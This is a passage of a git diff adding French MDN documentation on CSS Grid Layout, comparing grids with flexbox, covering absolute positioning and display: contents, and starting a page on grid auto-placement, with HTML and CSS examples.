+<h2 id="Les_grilles_et_les_boîtes_flexibles_flexbox">Les grilles et les boîtes flexibles (<em>flexbox</em>)</h2>
+
+<p>La différence fondamentale, entre les grilles et <a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS">les boîtes flexibles CSS</a>, est que les boîtes flexibles permettent d'organiser du contenu sur une dimension (sur une ligne ou sur une colonne). Les grilles ont été conçues pour une organisation bi-dimensionnelle. Les deux spécifications partagent cependant quelques points communs et si vous savez utiliser les boîtes flexibles, vous retrouverez quelques concepts qui vous aideront à appréhender les grilles CSS.</p>
+
+<h3 id="Disposition_sur_une_dimension_ou_sur_deux_dimensions">Disposition sur une dimension ou sur deux dimensions</h3>
+
+<p>Voyons un exemple simple pour illustrer la différence entre une disposition sur un seul axe et une disposition sur deux axes.</p>
+
+<p>Dans le premier exemple, on utilise un boîte flexible pour organiser un ensemble de boîte. Le conteneur contient 5 objets fils et on utilise des propriétés afin qu'ils puissent être agrandis/rétrécis avec une base (<code>flex-basis</code>) de 150 pixels.</p>
+
+<p>On utilise aussi la propriété {{cssxref("flex-wrap")}} avec la valeur <code>wrap</code>, afin de créer une nouvelle ligne si le conteneur devient trop étroit pour conserver <code>flex-basis</code>.</p>
+
+<div id="onedtwod">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  width: 500px;
+  display: flex;
+  flex-wrap: wrap;
+}
+.wrapper &gt; div {
+  flex: 1 1 150px;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('onedtwod', '500', '230')}}</p>
+
+<p>On peut voir ici que deux objets sont passés sur une nouvelle ligne. Ces objets partagent l'espace disponible sur cette nouvelle ligne et ne s'alignent pas par rapport aux objets de la ligne au-dessus. En effet, lorsque des éléments flexibles passent sur une nouvelle ligne (ou colonne), celle-ci forme un nouveau conteneur et l'espace de ce conteneur est distribué entre les objets.</p>
+
+<p>On se demande alors comment faire pour aligner ces éléments… C'est là qu'intervient la disposition en deux dimensions, pour contrôler l'alignement des lignes et des colonnes : voici la grille.</p>
+
+<h3 id="La_même_disposition_avec_une_grille_CSS">La même disposition avec une grille CSS</h3>
+
+<p>Dans cet exemple, on crée la même disposition en utilisant la grille CSS. Ici, on a trois pistes <code>1fr</code>. Il n'est pas nécessaire de paramétrer quoi que ce soit sur les objets, ils se disposeront eux-mêmes dans chaque cellule formée par la grille. On peut alors voir que les objets restent dans une grille stricte, avec les lignes et les colonnes qui sont alignées. Avec cinq éléments, on a donc un espace restant à la fin de la deuxième ligne.</p>
+
+<div class="Two_Dimensional_With_Grid">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Two_Dimensional_With_Grid', '300', '170')}}</p>
+</div>
+
+<p>Lorsqu'il s'agit de choisir entre les grilles ou les boîtes flexibles, vous pouvez vous poser les questions suivantes :</p>
+
+<ul>
+ <li>Ai-je uniquement besoin de contrôler la disposition selon des colonnes <strong>ou</strong> selon des lignes ? Si oui, mieux vaudra utiliser des boîtes flexibles.</li>
+ <li>Ai-je besoin de contrôler la disposition selon des colonnes <strong>et</strong> selon des lignes ? Si oui, mieux vaudra utiliser une grille CSS.</li>
+</ul>
+
+<h3 id="Organiser_lespace_ou_organiser_le_contenu">Organiser l'espace ou organiser le contenu ?</h3>
+
+<p>En plus de la distinction sur le nombre de dimensions, on peut prendre un autre angle de vue pour choisir entre les boîtes flexibles et les grilles. Les boîtes flexibles permettent de répartir l'espace de façon équitable autour des éléments d'un conteneur. C'est la taille du contenu qui détermine l'espace occupé par chacun des éléments. Si les objets passent sur une nouvelle ligne, leur espacement sera calculé en fonction de leurs tailles et de l'espace disponible sur cette ligne.</p>
+
+<p>En revanche, les grilles organisent le contenu dans l'espace. Lorsqu'on utilise les grilles CSS, on crée un « plan » et on place les éléments sur ce plan (ou on indique un placement automatique, strict, sur cette grille). Il est possible de créer des pistes (<em>tracks</em>) qui réagissent à la taille du contenu mais cela modifierait alors l'ensemble de la piste.</p>
+
+<p>Si vous utilisez les boîtes flexibles et souhaitez bloquer certains des aspects autour de la flexibilité, vous aurez probablement besoin d'une grille CSS. Par exemple, si vous définissez un objet flexible avec un pourcentage en largeur pour aligner l'objet avec les éléments du dessus, une grille pourrait être plus adaptée.</p>
+
+<h3 id="Lalignement_des_boîtes">L'alignement des boîtes</h3>
+
+<p>Une des fonctionnalités les plus attendues pour les boîtes flexibles était celle qui permettait enfin de contrôler l'alignement correctement. On pouvait simplement centrer une boîte sur une page. Les éléments flexibles pouvaient être étirés en hauteur dans leurs conteneurs et on pouvait donc obtenir des colonnes avec des hauteurs égales. Il était désormais possible d'éviter des contournements pour obtenir ce résultat.</p>
+
+<p>Les propriétés d'alignement ont été ajoutées à la spécification pour les boîtes flexibles dans une nouvelle spécification intitulée <em><a href="https://drafts.csswg.org/css-align/">Box Alignment Level 3</a></em>. Cela signifie qu'elles peuvent être utilisées dans d'autres modules, y compris dans les grilles CSS. À l'avenir, elles pourront éventuellement s'appliquer aux autres méthodes de disposition.</p>
+
+<p>Dans un autre article de cette série, nous verrons comment utiliser l'alignement des boîtes dans une disposition en grille. Pour le moment, voici un exemple simple qui permet de comparer les boîtes flexibles et les grilles.</p>
+
+<p>Dans le premier exemple, on utilise les boîtes flexibles avec un conteneur qui dispose de trois objets. La propriété {{cssxref("min-height")}} est définie et paramètre la hauteur du conteneur flexible. {{cssxref("align-items")}} vaut <code>flex-end</code> pour le conteneur flexible et les objets s'empileront donc jusqu'à l'extrémité du conteneur flexible. On utilise également la propriété {{cssxref("align-self")}} sur <code>box1</code> afin de surcharger la valeur par défaut et d'étirer jusqu'à la hauteur du conteneur et jusqu'à <code>box2</code> afin que <code>box1</code> soit alignée avec le début du conteneur flexible.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: flex;
+  align-items: flex-end;
+  min-height: 200px;
+}
+.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: flex-start;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Box_alignment', '300', '230')}}</p>
+
+<h3 id="Lalignement_sur_les_grilles_CSS">L'alignement sur les grilles CSS</h3>
+
+<p>Dans cet exemple, on utilise une grille pour créer la même disposition. Cette fois on utilise les propriétés d'alignement des boîtes. On aligne donc par rapport à <code>start</code> et <code>end</code> plutôt que par rapport à <code>flex-start</code> et <code>flex-end</code>. Dans le cas d'une disposition en grille, on aligne les éléments à l'intérieur de leur zone de grille. Dans ce cas, il s'agit d'une seule cellule mais on pourrait très bien construire une zone composée de plusieurs cellules.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3,1fr);
+  align-items: end;
+  grid-auto-rows: 200px;
+}.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: start;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Alignment_in_CSS_Grids', '200', '310')}}</p>
+
+<h3 id="Lunité_fr_et_flex-basis">L'unité <code>fr</code> et <code>flex-basis</code></h3>
+
+<p>On a vu avant l'unité <code>fr</code> qui permet d'affecter aux pistes de la grille une portion de l'espace disponible dans le conteneur. L'unité <code>fr</code>, lorsqu'elle est combinée avec la fonction {{cssxref("minmax()", "minmax()")}} permet d'obtenir un comportement proche des propriétés <code>flex</code> utilisées pour les boîtes flexibles, tout en permettant de créer une disposition sur deux dimensions.</p>
+
+<p>Si on revient sur l'exemple illustrant la différence entre une disposition à une dimension et une disposition à deux dimensions. On voit qu'il y a une différence sur la façon dont les deux dispositions fonctionnent en mode <em>responsive</em> (lorsque les dimensions de la zone d'affichage varient). Avec la disposition flexible, si on redimensionne la disposition ajustera le nombre d'éléments sur chaque ligne en fonction de l'espace disponible. S'il y a beaucoup d'espace, les cinq éléments pourront tenir sur une seule ligne et si l'espace est réduit, on pourra avoir jusqu'à un seul élément par ligne.</p>
+
+<p>En revanche, avec la grille, on a toujours trois pistes qui forment trois colonnes. Les pistes s'élargiront ou se rétrécieront mais il y en aura toujours trois car c'est le nombre de pistes déclaré à la définition de la grille.</p>
+
+<h4 id="Des_pistes_qui_se_remplissent_automatiquement">Des pistes qui se remplissent automatiquement</h4>
+
+<p>On peut créer un effet semblable aux boîtes flexibles tout en gardant l'arrangement en lignes et colonnes grâce à la notation <code>repeat</code> et aux propriétés <code>auto-fill</code> et <code>auto-fit</code>.</p>
+
+<p>Dans l'exemple qui suit, on utilise le mot-clé <code>auto-fill</code> à la place d'un entier dans la fonction <code>repeat</code> et on définit la taille d'une piste à 200 pixels. Cela signifie que la grille créera autant de pistes de 200 pixels en colonnes qu'il est possible d'en placer dans le conteneur.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 200px);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Auto-filling_grid_tracks', '500', '170')}}</p>
+
+<h3 id="Avoir_un_nombre_de_pistes_flexible">Avoir un nombre de pistes flexible</h3>
+
+<p>L'exemple précédent ne se comporte pas comme celui avec les boîtes flexibles. Dans l'exemple avec les boîtes flexibles, les objets qui sont plus larges que la base de 200 pixels avant de passer à la ligne. On peut obtenir le même effet sur une grille en combinant le mot-clé <code>auto-fill</code> et la fonction {{cssxref("minmax()", "minmax()")}}.</p>
+
+<p>Dans l'exemple qui suit, on crée des pistes qui sont remplies automatiquement avec <code>minmax</code>. On souhaite que les pistes mesurent au moins 200 pixels, avec un maximum de <code>1fr</code>. Lorsque le navigateur a calculé la quantité de colonnes qui tiendraient dans le conteneur (en tenant compte des espaces), il utilisera le maximum <code>1fr</code> afin de répartir l'espace restant entre les objets.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+</pre>
+
+<p>{{EmbedLiveSample('A_flexible_number_of_tracks', '500', '170')}}</p>
+
+<p>On peut désormais créer une grille qui dispose d'un nombre flexible de pistes, elles-mêmes flexibles tout en ayant des éléments qui sont disposés sur la grille par rapport à des lignes et à des colonnes.</p>
+
+<h2 id="Les_grilles_et_les_éléments_positionnés_de_façon_absolue">Les grilles et les éléments positionnés de façon absolue</h2>
+
+<p>La grille peut interagir avec les éléments positionnés de façon absolue. Cela peut s'avérer utile si on souhaite positionner un élément dans une grille ou dans une zone donnée de la grille. La spécification définit le comportement lorsqu'une grille est un bloc englobant et que la grille est le parent d'un élément positionné de façon absolue.</p>
+
+<h3 id="Avoir_une_grille_comme_bloc_englobant">Avoir une grille comme bloc englobant</h3>
+
+<p>Pour qu'une grille soit un bloc englobant, il faut utiliser la propriété <code>position</code> avec la valeur <code>relative</code> (comme on ferait pour un bloc classique). Une fois que c'est fait, si on utilise <code>position:</code> <code>absolute</code> sur un objet de la grille, son bloc englobant sera la grille. Si l'élément a une position donnée sur la grille, le conteneur sera la zone de la grille sur laquelle il est placé.</p>
+
+<p>Dans l'exemple ci-après, on a un conteneur avec quatre enfants. Le troisième élément est positionné en absolu et est placé sur la grille. La grille, le conteneur, a <code>position:</code> <code>relative</code> et devient donc le contexte de positionnement pour cet objet.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;
+    Ce bloc est positionné de façon absolue. Dans cet exemple
+    la grille est le bloc englobant et les valeurs de décalage
+    pour la position sont calculées depuis les bords extérieurs
+    de la zone dans laquelle a été placé l'élément.
+  &lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+  position: relative;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: absolute;
+  top: 40px;
+  left: 40px;
+}
+</pre>
+
+<p>{{EmbedLiveSample('A_grid_container_as_containing_block', '500', '330')}}</p>
+
+<p>On peut voir que l'élément prend la zone de la grille entre les lignes 2 et 4, après la ligne 1. Ensuite, il est décalé dans cette zone grâce aux propriétés <code>top</code> et <code>left</code>. Toutefois, il a été retiré du flux, comme d'habitude pour les éléments positionnés en absolu et les règles de placement automatique placent des objets dans la même zone. L'objet n'entraîne pas non plus la création d'une ligne supplémentaire sur la ligne 3.</p>
+
+<p>Si on retire <code>position:</code> <code>absolute</code> des règles sur <code>.box3</code>, on peut voir le résultat qu'on aurait obtenu sans ce positionnement absolu.</p>
+
+<h3 id="Utiliser_une_grille_comme_parent">Utiliser une grille comme parent</h3>
+
+<p>Si l'élément positionné de façon absolue est contenue dans une grille mais que celle-ci ne crée pas de nouveau contexte de positionnement, l'élément sera retiré du flux comme dans l'exemple précédent. Les contextes de positionnement sont créés comme avec les autres méthodes de disposition. Dans l'exemple, si on retire <code>position:</code> <code>relative</code> dans le code précédent, le contexte de positionnement est fourni par la zone d'affichage (le <em>viewport</em>) :</p>
+
+<p><img alt="Image of grid container as parent" src="https://mdn.mozillademos.org/files/14661/2_abspos_example.png" style="height: 408px; width: 1702px;"></p>
+
+<p>Là encore, l'élément ne participe plus à la disposition de la grille pour le dimensionnement ou pour le placement des autres éléments.</p>
+
+<h3 id="Utiliser_une_zone_de_grille_comme_parent">Utiliser une zone de grille comme parent</h3>
+
+<p>Si l'élément positionné de façon absolu est imbriqué dans une zone de la grille, on peut créer un contexte de positionnement pour cette zone. Dans l'exemple qui suit, on utilise la même grille qu'avant sauf que l'élément est imbriqué dans la zone <code>.box3</code> de la grille.</p>
+
+<p>On indique que <code>.box3</code> a une position relative puis on positionne l'élément avec des propriétés de décalage. Dans ce cas, le contexte de positionnement est la zone de la grille.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois
+    &lt;div class="abspos"&gt;
+      Ce bloc est positionné de façon absolue. Dans cet exemple
+      la zone de la grille est le bloc englobant et le positionnement
+      est calculé à partir des bords de la zone de la grille.
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: relative;
+}
+.abspos {
+  position: absolute;
+  top: 40px;
+  left: 40px;
+  background-color: rgba(255,255,255,.5);
+  border: 1px solid rgba(0,0,0,0.5);
+  color: #000;
+  padding: 10px;
+}
+</pre>
+
+<p>{{EmbedLiveSample('With_a_grid_area_as_the_parent', '500', '420')}}</p>
+
+<h2 id="Utiliser_une_grille_et_display_contents">Utiliser une grille et <code>display:</code> <code>contents</code></h2>
+
+<p>Une autre combinaison notable, en termes de disposition, peut être l'utilisation de <code>display:</code> <code>contents</code> avec les grilles CSS. La valeur <code>contents</code> de la propriété {{cssxref("display")}} est une nouvelle valeur, décrite comme suit dans la <a href="https://drafts.csswg.org/css-display/#box-generation">spécification Display</a> :</p>
+
+<blockquote>
+<p>L'élément même ne génère aucune boîte mais ses éléments fils, ainsi que les pseudo-éléments, génèrent des boîtes normales. Afin de générer les boîtes et la disposition, l'élément doit être traité comme s'il avait été remplacé par ses éléments fils et ses pseudo-éléments dans l'arbre du document.</p>
+</blockquote>
+
+<p>Si on utilise <code>display:</code> <code>contents</code> sur un élément, la boîte qu'il aurait normalement créé disparaîtra et les boîtes des éléments qui sont ses enfants apparaîtront comme si elles avaient grimpé d'un niveau. Cela signifie que les éléments fils d'un élément d'une grille peuvent, à leur tour, devenir des éléments de cette grille. Un peu perdu-e ? Voici un exemple. Dans le code qui suit, on a une grille dont le premier élément s'étend sur les trois pistes. Cet élément contient trois éléments imbriqués. Ces derniers n'étant pas des enfants directs de la grille, ils ne s'inscrivent pas dans la disposition en grille et sont affichés avec la disposition classique.</p>
+
+<div id="Display_Contents_Before">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;
+    &lt;div class="nested"&gt;a&lt;/div&gt;
+    &lt;div class="nested"&gt;b&lt;/div&gt;
+    &lt;div class="nested"&gt;c&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box box4"&gt;Quatre&lt;/div&gt;
+  &lt;div class="box box5"&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+}
+
+</pre>
+
+<p>{{EmbedLiveSample('Display_Contents_Before', '400', '420')}}</p>
+</div>
+
+<p>Si on ajoute <code>display:</code> <code>contents</code> aux règles qui ciblent <code>box1</code>, la boîte de cet élément disparaîtra et ses sous-éléments deviendront alors des éléments de la grille qui se placeront selon les règles de placement automatiques pour la grille.</p>
+
+<div id="Display_Contents_After">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;
+    &lt;div class="nested"&gt;a&lt;/div&gt;
+    &lt;div class="nested"&gt;b&lt;/div&gt;
+    &lt;div class="nested"&gt;c&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box box4"&gt;Quatre&lt;/div&gt;
+  &lt;div class="box box5"&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  display: contents;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Display_Contents_After', '400', '330')}}</p>
+</div>
+
+<p>Cela permet que des éléments imbriqués agissent comme s'ils faisaient partie de la grille. C'est également une méthode de contournement pour certains problèmes qui seront résolus par les « sous-grilles » (<em>subgrids</em>) lorsqu'elles seront implémentées. Vous pouvez également utiliser <code>display:</code> <code>contents</code> de façon similaire avec les boîtes flexibles afin que les éléments imbriqués deviennent des éléments flexibles.</p>
+
+<p>Comme on a pu le voir dans cet article, la disposition avec les grilles CSS n'est qu'un outil parmi d'autres. Il ne faut pas hésiter à combiner différentes méthodes de disposition afin d'obtenir les résultats souhaités.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Guides sur <em>Flexbox</em></a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Columns">Guides sur la disposition multi-colonnes</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive", "Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_grid_layout/placement_automatique_sur_une_grille_css/index.html b/files/fr/web/css/css_grid_layout/placement_automatique_sur_une_grille_css/index.html
new file mode 100644
index 0000000000..980b03ea62
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/placement_automatique_sur_une_grille_css/index.html
@@ -0,0 +1,569 @@
+---
+title: Le placement automatique sur une grille CSS
+slug: Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS
+tags:
+  - CSS
+  - CSS Grids
+  - Grilles CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>En plus de pouvoir placer des objets de façon précise sur une grille, la spécification pour les grilles CSS définit le comportement obtenu lorsque certains des objets ne sont pas placés sur la grille (voire aucun). Pour voir comment fonctionne le placement automatique, il suffit de créer une grille avec un ensemble d'objets. Sans fournir aucune information de placement, ces objets se placeront chacun sur une cellule de la grille.</p>
+
+<div id="placement_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('placement_1', '500', '230')}}</p>
+</div>
+
+<h2 id="Définir_des_règles_pour_le_placement_automatique">Définir des règles pour le placement automatique</h2>
+
+<p>Comme on peut le voir dans l'exemple précédent, si on crée une grille sans définir de placement, tous les objets occuperont chacun une cellule de la grille. Par défaut, les objets sont placés au fur et à mesure sur les lignes horizontales de la grille. Si on a créé des lignes supplémentaires avec <code>grid-template-rows</code>, les objets suivants seront placés sur ces lignes. En revanche, si la grille ne possède pas suffisamment de lignes sur la grille explicite, de nouvelles lignes, implicites, seront créées.</p>
+
+<h3 id="Dimensionner_les_lignes_de_la_grille_implicite">Dimensionner les lignes de la grille implicite</h3>
+
+<p>Par défaut, les lignes implicites créées automatiquement ont une taille automatique. Autrement dit, elles seront dimensionnées pour contenir les éléments qu'elles doivent placer sans que ceux-ci dépassent.</p>
+
+<p>Il est toutefois possible de contrôler la taille de ces lignes grâce à la propriété <code>grid-auto-rows</code>. Ainsi, si on veut que les lignes créées automatiquement mesurent 100 pixels de haut, on utilisera :</p>
+
+<div id="placement_2">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+}
+</pre>
+
+<p>{{EmbedLiveSample('placement_2', '500', '330')}}</p>
+</div>
+
+<p>On peut utiliser la fonction {{cssxref("minmax","minmax()")}} pour la valeur de {{cssxref("grid-auto-rows")}} afin de créer des lignes avec une taille minimale mais qui puissent être plus grandes si le contenu est plus grand que cette taille minimale.</p>
+
+<div id="placement_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
